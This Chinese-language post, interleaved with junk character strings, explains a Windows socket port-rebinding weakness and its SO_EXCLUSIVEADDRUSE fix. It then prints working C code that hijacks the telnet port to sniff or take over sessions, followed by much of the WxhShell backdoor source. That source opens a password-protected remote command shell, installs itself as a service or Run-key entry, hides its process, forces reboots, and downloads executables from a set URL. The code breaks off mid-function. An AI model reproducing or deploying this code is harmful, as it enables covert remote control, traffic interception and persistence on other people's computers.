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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "nU] 2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7~VDk5Z6 [f=Y*=u9, saddr.sin_family = AF_INET; 1/c+ug!y %ejq|i7 saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]i8t .v['INK9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o RK:{?Y %t]{C06w+{ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z5[g[Q </_.+c [ 这意味着什么?意味着可以进行如下的攻击: E|_}?>{R k!d<2Qp W 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `{Fz [$Jsel<T= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0m4'm<2m <A&Zl&^1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 . $
HE XjTu`?Na; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Xl
E0oN~{ -a7BVEFts 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d5n>2iO G}@a]EGm 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DDZnNSo<JQ CM)V^k* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Twk<< j k&\{ #include @I?:x4 #include j)#GoU=w #include 0KjCM4t #include }U|Vpgd! DWORD WINAPI ClientThread(LPVOID lpParam); mBQpf/PG int main() 54oJMW9 { \og2\Oh&gH WORD wVersionRequested; TwKi_nh2m DWORD ret; =tl~@~pqI WSADATA wsaData; Pxgul7 BOOL val; _!9I
f SOCKADDR_IN saddr; Op hD_^ SOCKADDR_IN scaddr; -:Bgp*S int err; qpq(< SOCKET s; `)TgGny01 SOCKET sc; $}=r45e0K int caddsize; M%7|7V<o)^ HANDLE mt; AsI.8" DWORD tid; \ZBz]rh* wVersionRequested = MAKEWORD( 2, 2 ); q XB E3 err = WSAStartup( wVersionRequested, &wsaData ); ~w}=Oby'y if ( err != 0 ) { x\YVB',h printf("error!WSAStartup failed!\n"); So4#n7 return -1; $dug"[ } kkXe= f% saddr.sin_family = AF_INET; Jv!f6*&< gwFW+*h //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6xu%M&ht OXbC\^qo@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *?+2%zP saddr.sin_port = htons(23); (*\y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o8SP#ET"n { \p!m/2 printf("error!socket failed!\n"); l|M|;5TW return -1; }Ggn2 X } -jVg{f! val = TRUE; $_gv(&ZT //SO_REUSEADDR选项就是可以实现端口重绑定的 t<%+))b
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !(y(6u# { Bf" ZmG9 printf("error!setsockopt failed!\n"); SBY0L. return -1; ^!x qOp! } n%!50E6*: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )))AxgM //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qos/pm$&i //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~w(A3I. W >|'4y) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
!$<Kp6 { >L$9fn/J ret=GetLastError(); P=X)Ktmv printf("error!bind failed!\n"); OXZx!h return -1; ScRK1 } OK2\2&G listen(s,2); hPUZ{#;n while(1) ?"@SxM~\ { {ea*dX872: caddsize = sizeof(scaddr); Zt
1nH //接受连接请求 H7f
Xg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wV,=hMTd&\ if(sc!=INVALID_SOCKET) qJw\<7m { 2FGCf} , mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }xY|z"& if(mt==NULL) a~zh5==QD { D3y4e8+Z' printf("Thread Creat Failed!\n"); 2hTsjJ!' break; (A-Uo
} y|3!E>Up } <ILi38%Y CloseHandle(mt); oUB9)C~ } A@reIt closesocket(s); ?28)l
4 Ml WSACleanup(); In*0. return 0; {fMo#`9= } Z1wfy\9c8 DWORD WINAPI ClientThread(LPVOID lpParam) 5xa!L@)`wF { S4OOm[8 SOCKET ss = (SOCKET)lpParam; J$-1odL0Z SOCKET sc; jI$7vmO unsigned char buf[4096]; ZL9|/
PY SOCKADDR_IN saddr; ,.&D{$1W long num; 3w! NTvp DWORD val; zoj
w^%W DWORD ret; ZT+{8, //如果是隐藏端口应用的话,可以在此处加一些判断 8an_s%,AW //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 DXK\3vf Ot saddr.sin_family = AF_INET; \p )eY#A saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h{ eQ\iI saddr.sin_port = htons(23); 8'u,}b) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lLEEre { 8_3WCbe/ printf("error!socket failed!\n"); h9rrkV9 return -1; ,u14R] } uC2 5pH" val = 100; +\J+?jOC4S if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~-~iCIaTb { (AHTv8 ret = GetLastError(); #c-Jo[%G return -1; q\Z9.T+Qo } %@%~<U)W if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;!EEzR. { nDNK}O~' ret = GetLastError(); 'f6!a5qC return -1; O\ w-hk } 4n%|h-!8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KCn#*[
{ )XYCr<s2" printf("error!socket connect failed!\n"); /1r{z1pv\ closesocket(sc); l
Ng)k1 closesocket(ss); iF1zLI<A return -1; RMAbu*D0 } F^Mt}`O while(1) h\8bo= { ;\iu*1>Z,& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E,[v%Xw //如果是嗅探内容的话,可以再此处进行内容分析和记录 2-:` lrVd //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CDDEWVd num = recv(ss,buf,4096,0); 0:eK}tC if(num>0) Hlj3z3 send(sc,buf,num,0); P}-S[[b73s else if(num==0) '@#l/9 break; lsVg'k/Z! num = recv(sc,buf,4096,0); PH!rWR if(num>0) ^1XnnQa send(ss,buf,num,0); &>XSQB(&% else if(num==0) EHt(!;?q break; >P2QL>P } d^`n/"Ice closesocket(ss); /-g%IeF closesocket(sc); pwV{@h! return 0 ; Tg v]30F) } YTfMYH=} )lVplAhZD dj3E20Ws ========================================================== "9;Ay@'B F/D/1w^ iR 下边附上一个代码,,WXhSHELL 1(4IcIR5T; ae]
hCWK ========================================================== 8FBXdk?A =7zvp,B #include "stdafx.h" <:~'s]`zf qox@_ #include <stdio.h> `R:HMO[ow #include <string.h> #:nds, #include <windows.h> xQ8?"K;iX #include <winsock2.h> SY+$8^ #include <winsvc.h> S&~;l/ #include <urlmon.h> Z'y:r2{ql Tc;j)_C) #pragma comment (lib, "Ws2_32.lib") >\ PNKpn{ #pragma comment (lib, "urlmon.lib") AO0aOX8_+D T28Q(\C:} #define MAX_USER 100 // 最大客户端连接数 !,;/JxfgVh #define BUF_SOCK 200 // sock buffer 5i&+.?(Z= #define KEY_BUFF 255 // 输入 buffer A=5A8B1 ED+tVXyw #define REBOOT 0 // 重启 gADEjr*H #define SHUTDOWN 1 // 关机 DWQ@]\ 3:;2Av2(X. #define DEF_PORT 5000 // 监听端口 UmRI! WQl rprtp5C g #define REG_LEN 16 // 注册表键长度 "7*cF>FE 8 #define SVC_LEN 80 // NT服务名长度 9Xv>FVG! pg%'_+$~m // 从dll定义API m:1f7Z> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )+nY-DB( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BrQXSN$i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )Bq~1M 2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &Jr~)o ^mu?V-4 // wxhshell配置信息 p+;[i%` struct WSCFG { 3 oG5E"G int ws_port; // 监听端口 ;be2sTo char ws_passstr[REG_LEN]; // 口令 'NJCU.lKm int ws_autoins; // 安装标记, 1=yes 0=no Y!8Ik(/~i char ws_regname[REG_LEN]; // 注册表键名 MU ;
L7^ char ws_svcname[REG_LEN]; // 服务名 PV*U4aP char ws_svcdisp[SVC_LEN]; // 服务显示名 ]y:ez8RFPU char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~9OART=' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *[(}rpp M int ws_downexe; // 下载执行标记, 1=yes 0=no jo.Sg:7& char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Fnnk}I} char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f,?P1D\ _dT,%q }; ~
cKmf] 5,0fL // default Wxhshell configuration !NNq( t struct WSCFG wscfg={DEF_PORT, J~6-}z "xuhuanlingzhe", @c<*l+Qc 1, 5/:BtlFx "Wxhshell", 1Qi5t?{ "Wxhshell", v>2gx1F"? "WxhShell Service", /mb?C/ CI "Wrsky Windows CmdShell Service", *20$u% z2 "Please Input Your Password: ", r.5}Q? 1, _`/:gkZS " http://www.wrsky.com/wxhshell.exe", zqaz1rt[ "Wxhshell.exe" =kp-[7
}; io[$QTY iUv#oX
H // 消息定义模块 T9@W,0# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r>=)Y32Q char *msg_ws_prompt="\n\r? for help\n\r#>"; \;z*j|;B char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; { XN"L3A char *msg_ws_ext="\n\rExit."; [>IAS> char *msg_ws_end="\n\rQuit."; m'))prl char *msg_ws_boot="\n\rReboot..."; : GZx- char *msg_ws_poff="\n\rShutdown..."; ?N
6'*2{NT char *msg_ws_down="\n\rSave to "; v'"0Ya =tJ}itcJ' char *msg_ws_err="\n\rErr!"; pq 4/>WzE char *msg_ws_ok="\n\rOK!"; $"d< F3k YxEc(a" char ExeFile[MAX_PATH]; K5O#BBX= int nUser = 0; zFy0SzF HANDLE handles[MAX_USER]; wzr3y}fCe int OsIsNt; u? a*bW 9V]\,mD= SERVICE_STATUS serviceStatus; y#'|=0vTvP SERVICE_STATUS_HANDLE hServiceStatusHandle; V^a]@GK: LV4]YC // 函数声明 }1A Brbc int Install(void); @S /jVXA int Uninstall(void); ; ]*
%wX int DownloadFile(char *sURL, SOCKET wsh); H\OV7=8 int Boot(int flag); SH"e x,= void HideProc(void); cxBu2(Y int GetOsVer(void); Hshm;\' int Wxhshell(SOCKET wsl); tpJe1 J< void TalkWithClient(void *cs); &-Bw7v int CmdShell(SOCKET sock); mHqw,28} int StartFromService(void); 1m*fkM# int StartWxhshell(LPSTR lpCmdLine); #{]X<et l.ri]e VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UenB4 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;aJBx yF&"'L // 数据结构和表定义 ;naD`([ SERVICE_TABLE_ENTRY DispatchTable[] = fVlTsc|e { :Ogt{t {wscfg.ws_svcname, NTServiceMain}, xEt".K {NULL, NULL} ,/O,j
SRk }; Mqu>#lL lkNaSz[ // 自我安装 %F'*0< int Install(void) }%K)R5C { 0Q^a*7w`8a char svExeFile[MAX_PATH]; W'l
&rm@ HKEY key; r=Up-(j strcpy(svExeFile,ExeFile); N=e-"8 &F4khga`^: // 如果是win9x系统,修改注册表设为自启动 2!Ip!IQ: if(!OsIsNt) { "PM!03rb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "pdq_35 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HmWU;9Vn+ RegCloseKey(key); Bnju_)U5) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =D<{uovQB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bvke@|]kW RegCloseKey(key); zmV5k return 0; dd+[FU } pBW|d\8 } 9>y6zFTV } }cov"o else { Ba=P E'|@hL-jn // 如果是NT以上系统,安装为系统服务 }Wxu =b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %_*q'6K if (schSCManager!=0) dW3 q { 4~<
:Pj SC_HANDLE schService = CreateService p=T,JAI t ( ?n$;l-m[ schSCManager, P
I gbeP wscfg.ws_svcname, Vx1xULdY wscfg.ws_svcdisp, ~HbZRDcJc SERVICE_ALL_ACCESS, Pb05>J3N SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a?]Ow J SERVICE_AUTO_START, -J?i6BHb SERVICE_ERROR_NORMAL, k _)H$* svExeFile, ({/@=e x* NULL, F\1{b N|3 NULL, }nrl2yp:% NULL, ;U6z|O7L NULL, V,=V NULL
Do3;-yp>` ); K2J DG.< if (schService!=0) Y|bCbaF { c hE~UQ CloseServiceHandle(schService); ]|cL+|':y CloseServiceHandle(schSCManager); `@MY}/
o. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U0}]3a0 strcat(svExeFile,wscfg.ws_svcname); cnh\K.*}_x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K*Tj; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X9^a:7( RegCloseKey(key); LD]>_P83 return 0; (;^VdiJ } )M5:aSRz } o,a3J:j] CloseServiceHandle(schSCManager); 9OYsI } tA?P$5?-* } +(d\`{A <<>?`7N return 1; Q/T\Rr_d } 0m?v@K' l (dO, +~ // 自我卸载 wTBp=)1)f int Uninstall(void) q=8I0E&q { - P+( =U HKEY key; $N[-ks2{@ mgeNH~%m@* if(!OsIsNt) { E7E>w#T5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lxTW1kr RegDeleteValue(key,wscfg.ws_regname); Z IfhC' RegCloseKey(key); DJSSc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mO$]f4} RegDeleteValue(key,wscfg.ws_regname); uZ mi RegCloseKey(key); .%>UA|[~: return 0; kb>:M. } Yv!%Is } NNC@?A7 } Qn>0s else { /I~iUND"G F-%wOn / SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y=JfV if (schSCManager!=0) Mfjj+P { &-#!]T-P:E SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qG.HJD if (schService!=0) X)iQ){21V { F0
WM&{v if(DeleteService(schService)!=0) { \`?l6'! CloseServiceHandle(schService); DZGM4|@<7Y CloseServiceHandle(schSCManager); =\Td~> return 0; `9SRiy } j`1%a]Bwc CloseServiceHandle(schService); }9[E+8L1 } wowv>!N!X- CloseServiceHandle(schSCManager); [pf78 } COJny/FT| } ?<c)r~9] E/@w6uIK[ return 1; L 1=HD } 6?nAO zSMNk AM // 从指定url下载文件 4R-Y9:^t int DownloadFile(char *sURL, SOCKET wsh) /I|.^ Id| { qh;ahX~ HRESULT hr; T-pes1Wu char seps[]= "/"; `MFw2nu@t char *token; :JW!$?s8H char *file; 47s<xQy char myURL[MAX_PATH]; E,,)?^ g char myFILE[MAX_PATH]; tW;?4}JR
iK{ a9pt strcpy(myURL,sURL); in_~,fd token=strtok(myURL,seps); C=L_@{^Rgb while(token!=NULL) .ky(( { $@kGbf~k file=token; =pQA!u]QE token=strtok(NULL,seps); w7NJ~iy } &!uw;|% U^<\'` GetCurrentDirectory(MAX_PATH,myFILE); BU-+L}-48 strcat(myFILE, "\\"); =qH9<,p`H strcat(myFILE, file); |5|^[v send(wsh,myFILE,strlen(myFILE),0); L|4kv send(wsh,"...",3,0); `pS<v.L3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "/6<k0.D& if(hr==S_OK) dj,7lJy return 0; `WvNN>R else |r*btyOJk return 1; DI O @Zo 5&]|p'"W\ } c(jF^
0~ 't".~H_V // 系统电源模块 m~Q]#r int Boot(int flag) ]37k\O?vd { \,jrug<C$^ HANDLE hToken; v%c r TOKEN_PRIVILEGES tkp; ')_Gm{A#p oK1"8k|Z if(OsIsNt) { \q#s/&b OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fRKO> /OT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p] kpDx[9 tkp.PrivilegeCount = 1; K$_ Rno" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lk8g2H
, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #q. Q tDz if(flag==REBOOT) { gbNPD*7g9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]eA< return 0; weCRhA } D)z'FOaI else { Qd"{2> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5
OR L return 0; ^)=c74;; } ;}),6R } )%p.v P'p else { r2?-QvQ if(flag==REBOOT) { F,{M!dL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5P_%Vp`B2 return 0; O[[:3!6q } h_6QVab@ else { -Si'[5@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hU=n>g>nx return 0; .lrI|BH?z } F XJI,(:- } P1DYjm[+D kOR5'rh return 1; :@KU_U)\ } J \U}U'qP |__\Vn // win9x进程隐藏模块 zp[Uh]-dMK void HideProc(void) +P,hT { B6~a `~" 7m0sF<P{g HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [B3qZ" if ( hKernel != NULL ) ")kE1D% { ]0P-?O: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 01Bs7@"+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A2 r1%}{ FreeLibrary(hKernel); }{;m:Iia_ } FEgM4m.(G< xsS/)R? return; X8l[B{| } dn/0>|5OF( J$6tCFD // 获取操作系统版本 b0PqP<{ t int GetOsVer(void) 1zNH[
{ bTB/M=M OSVERSIONINFO winfo; 3~H_UGw winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k&|L"N|w GetVersionEx(&winfo); L?!*HS7m if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n%PHHu
return 1; ;taTdzR_ else r@L19d)J return 0; hX4&B } V9Bi2\s* I]N?}]uZ // 客户端句柄模块 dr3#?% int Wxhshell(SOCKET wsl) Zh. 5\&bm { <a%9d<@m SOCKET wsh; M\zM-B struct sockaddr_in client; F VBuCi?W DWORD myID; zs!,PQF( X3zkUMk while(nUser<MAX_USER) -'btKz*9 { (+}H
ih int nSize=sizeof(client); h-u63b1"? wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cLl=?^DB if(wsh==INVALID_SOCKET) return 1; Lqy]bnY gj{2"tE handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |fX
@o0H if(handles[nUser]==0) ^g/ closesocket(wsh); "IbXKS>t else E0QrByr_ nUser++; xgV.<^ } kBZnR$Cl WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sd|5oz) m' D_zb9+ return 0; S*,DX~vig } 5etbJk ,r\ // 关闭 socket \FOoIY!.x void CloseIt(SOCKET wsh) :D(4HXHK% { G3O`r8oZcJ closesocket(wsh); H4DM,.04 nUser--; V<&x+?>S ExitThread(0); 07pASZ;~ } HD^ Ou5YB =+24jHs // 客户端请求句柄 )EQWc0iKG void TalkWithClient(void *cs) B->3/dp2c' { ^Pqj*k+F rqJ'm?>cr SOCKET wsh=(SOCKET)cs; h/`]=kCl char pwd[SVC_LEN]; _XLGXJ[B char cmd[KEY_BUFF]; Q+L;k
R char chr[1]; tf?syk+jB7 int i,j; mO];+=3v8 39
D!e& while (nUser < MAX_USER) { Cu*+E%P9` cE(P^;7D if(wscfg.ws_passstr) { 9i+OYWUO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OCR`1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~<[$.8* //ZeroMemory(pwd,KEY_BUFF); )F_0('=t i=0; @ol}~&" while(i<SVC_LEN) {
S0-f_,( }4'5R // 设置超时
K?]><z{ fd_set FdRead; ./SDZ:5/ struct timeval TimeOut; xi5G?r FD_ZERO(&FdRead); Da.eVU; FD_SET(wsh,&FdRead); z$#q'+$ TimeOut.tv_sec=8; 5q<cZ)v#& TimeOut.tv_usec=0; NXwthc3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k@[\C`P if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n=t50/jV3= |qUi9#NUo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 25e*W>SLw pwd =chr[0]; ~SKV% if(chr[0]==0xd || chr[0]==0xa) { .`./MRC pwd=0; 1Q[I $=-F break; M8_f{|!& } ^qB
a~
i++; 9]u=b\fzZ } (2 nSZRB n1yIQ8 F // 如果是非法用户,关闭 socket Dnx` ! if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ].AAHu5 } <Wd#HKIG>l h2k"iO} send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kwI[BF send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j!1
:+H_L hA'i|;|ZYc while(1) { V\1pn7~V dnEIR5%+. ZeroMemory(cmd,KEY_BUFF); =@e3I)D#?i (!cG*FrN // 自动支持客户端 telnet标准 R1sWhB99 j=0; > nHaMj while(j<KEY_BUFF) { @k+&89@G if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Tf4SJ cmd[j]=chr[0]; %XF>k) if(chr[0]==0xa || chr[0]==0xd) { zWs("L(#s cmd[j]=0; G_ -8*. break; xh6Yv%\@ } ?nf !sJ'm j++; 7uUo
DM } L0lqm0h j\hI, mc // 下载文件 d76nyQKK if(strstr(cmd,"http://")) { <cof send(wsh,msg_ws_down,strlen(msg_ws_down),0); $O'IbA if(DownloadFile(cmd,wsh)) :P'M|U send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1hTE^\W else 0Dt-!Q7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5%r:hO @S } *J D-|mK else { 8-||Nh {s7
3(B" switch(cmd[0]) { j^1Yz}6nR EvP\;7B // 帮助 C0K0c6A(4 case '?': { SSQB1c send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); urbSprdF break; .ZtW
y) U } %&iodo,EP' // 安装 4 (c{%% case 'i': { ''Y'ZsQ; if(Install()) Fp&tJ]=B. send(wsh,msg_ws_err,strlen(msg_ws_err),0); iJU=98q else cM_!_8o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8wEUly break; 1w!O&kn } p![UO I"W // 卸载 B&+)s5hh case 'r': { ;F;Vm$ if(Uninstall()) @ogj -ol& send(wsh,msg_ws_err,strlen(msg_ws_err),0); d-cW47 else 9;7|MPbR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E[ttamU break; ZLZh$eZZ } B#;6z%WK // 显示 wxhshell 所在路径 O))YJh"'_ case 'p': { wnU-5r&!] char svExeFile[MAX_PATH]; 5Q/jI$^h0Z strcpy(svExeFile,"\n\r"); G]n_RP$G strcat(svExeFile,ExeFile); 0N87G}Xu send(wsh,svExeFile,strlen(svExeFile),0); v[<x>?iD_ break; b_ vKP } F};T<# // 重启 UOpSH{N case 'b': { YuUJgt .1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~p`[z~| if(Boot(REBOOT))
6DG%pF, send(wsh,msg_ws_err,strlen(msg_ws_err),0); `t"7[Zk else { E?0Vo%Vh closesocket(wsh); c'INmc
I| ExitThread(0); x=03WQ8 } J=J!)\m break; $|tk?Sps } #p<(2wN // 关机 _fdD4-2U case 'd': { QM24cm
T send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?PYZW5 if(Boot(SHUTDOWN)) PJO.^OsM send(wsh,msg_ws_err,strlen(msg_ws_err),0); tlM >=s'T else { -(},%!-_ closesocket(wsh); }9V0Cu1 ExitThread(0); ^WrL
} kX2Z@
w` break; S.Q:O{] } 3Rhoul[S // 获取shell +NJIi@ case 's': { dZY|6 CmdShell(wsh); mT/^F{c closesocket(wsh); {9FL}Jrt ExitThread(0); x];i?
4 break; |\Q2L;4C } {PkR6.XhR // 退出 z(u,$vZ_ case 'x': { `-.6;T}2U send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q"5\bh1" CloseIt(wsh); nsM.`s@V break; %d%FI"!K } 0 ;].q*|# // 离开 <MKXFV case 'q': { !+z&] S3s send(wsh,msg_ws_end,strlen(msg_ws_end),0); D~FIv closesocket(wsh); IE3GZk+a~ WSACleanup(); w9StW94p exit(1); aCJ-T8?' break; RG=i74a } >@h#'[z,d } r0@s3/ } xSqr=^ 86e aX+F // 提示信息 )%b 5uZ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uzI-1@` } XgyLlp;,O } *+k
yuY J oWx^_wQ-= return; P'o]#Az } HRyhq;C p({Lp}' // shell模块句柄 wwet90_g int CmdShell(SOCKET sock) gi>W&6 { ">M&/}4 STARTUPINFO si; 3ZN\F ZeroMemory(&si,sizeof(si)); ]9~Il# si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xSm~V3bc si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )H`V\H[0P PROCESS_INFORMATION ProcessInfo; a*t @k*d_ char cmdline[]="cmd"; %O!TS_~9 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kT]jJbb" return 0; *8+HQ[[# } "bB0$>0, 1JJ1!& > // 自身启动模式 0_AIKJrL int StartFromService(void) HRJ\H-
V { Q3Z?Z;2aR typedef struct N]14~r= { #|3,DZ|)F DWORD ExitStatus; f~,Ml*Zp DWORD PebBaseAddress; \D};0#G0& DWORD AffinityMask; fq4uiFi< DWORD BasePriority; ;>/yY]F7 ULONG UniqueProcessId; :0ltq><? ULONG InheritedFromUniqueProcessId; (sI`FW_ } PROCESS_BASIC_INFORMATION; hT,rcIkg: &EYoviFp PROCNTQSIP NtQueryInformationProcess; `A5n6*A7 w ~"%&SNN static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TyA1Qk\ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BR-wL3x
